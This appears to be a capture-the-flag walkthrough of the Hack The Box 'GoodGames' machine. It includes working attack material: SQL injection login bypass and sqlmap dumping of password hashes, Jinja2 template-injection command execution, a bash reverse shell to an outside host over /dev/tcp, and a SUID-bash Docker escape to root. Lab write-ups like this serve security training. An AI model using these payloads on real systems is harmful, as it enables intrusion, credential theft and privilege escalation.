- Linux
┌──(root💀kali)-[~]
└─# nmap -T5 -sC -sV -O -p- 10.10.11.130
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-23 19:48 EDT
Nmap scan report for 10.10.11.130
Host is up (0.024s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 5.3 - 5.4 (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: goodgames.htb
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.88 seconds
We have a SQL injection that allows us to bypass login.
- Request
POST /login HTTP/1.1
Host: 10.10.11.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.10.11.130
Connection: close
Referer: http://10.10.11.130/
Upgrade-Insecure-Requests: 1
email=' or 1=1-- -&password=eeeee
- Response
[STRIPPED]
<h1 class="text-main-1" style="font-size: 50px;">Login Successful</h1>
<div class="nk-gap"></div>
<h2 class="h4">Welcome admintest</h2>
<div>Redirecting you to profile page...</div>
<div class="nk-gap-3"></div>
[STRIPPED]
- Now in our profile page we have settings, it requires de change the /etc/host file though
10.10.11.130 internal-administration.goodgames.htb
This page has another login thoug so we need to try to dump some data with SQLi
- With union we can actually dump some interesting things:
email=' union select 1,2,3,database()-- -&password=eeeee
- the current database is main
- We can just save the request in a file and use sqlmap to dump the db
- In burp we right click on a request (without sql injection) save item
- Save it as request and then we just have to pass it to sqlmap this way
sqlmap -r request -p email
I manually with burp repeater saw tha the database name was main so I can dump it this waysqlmap -r request -p email --dump -D main
- In burp we right click on a request (without sql injection) save item
We get the admin hash this way!
+----+-------+---------------------+----------------------------------+
| id | name | email | password |
+----+-------+---------------------+----------------------------------+
| 1 | admin | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec |
| 2 | test | test@test.com | 098f6bcd4621d373cade4e832627b4f6 |
+----+-------+---------------------+----------------------------------+
-
After a look on the platform we can interact in the settings and modify the full name
So this is an injection point with something actually reflected to us. If we look for common flask exploitation we can find an article about SSTI If we try the first paylaod mentioned in the article using burp repeater it seems to work:
We can see that{{7*7}}
gives 49 -
This way we can get the config using
{{config}}
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'S3cr3t_K#Key', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite:////backend/project/apps/db.sqlite3', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}}>
- These slides are also quite helpful, if we try this payload we get the "id" and we are root right away
name={{ namespace.__init__.__globals__.os.popen('id').read() }}
- Lets grab the flags
name={{ namespace.__init__.__globals__.os.popen('cat /home/augustus/user.txt').read() }}
- I can not grab the root flag.
- Let's try to get a shell
- We got a shell from the web application (not burp) using this paylaod
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.3/5555 0>&1"').read() }}
- Then we upgraded our shell
script /dev/null -c bash
ctrl Z
stty raw -echo; fg
reset
OR
python -c 'import pty; pty.spawn("/bin/bash")'
- Than we can make a ping sweep to look for where is the reak machine as we are in a docker container (hence the docker file in the folder)
for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
- if we ssh with augustus and the same password on 172.19.0.1 we get a user shell
- So we are in 2 env one in a docker with root rights and one in the actual machine with just user rights, let's abuse this to our advantage.
- Take another reverse shell to the docker (now we have 2 shells)
- In our augustus shell
cp /bin/bash .
- In our root docker shell
chmod 4777 bash
- In our augustus
./bash -p
- We should be root!
- Let's grab the flag
cat /root/root.txt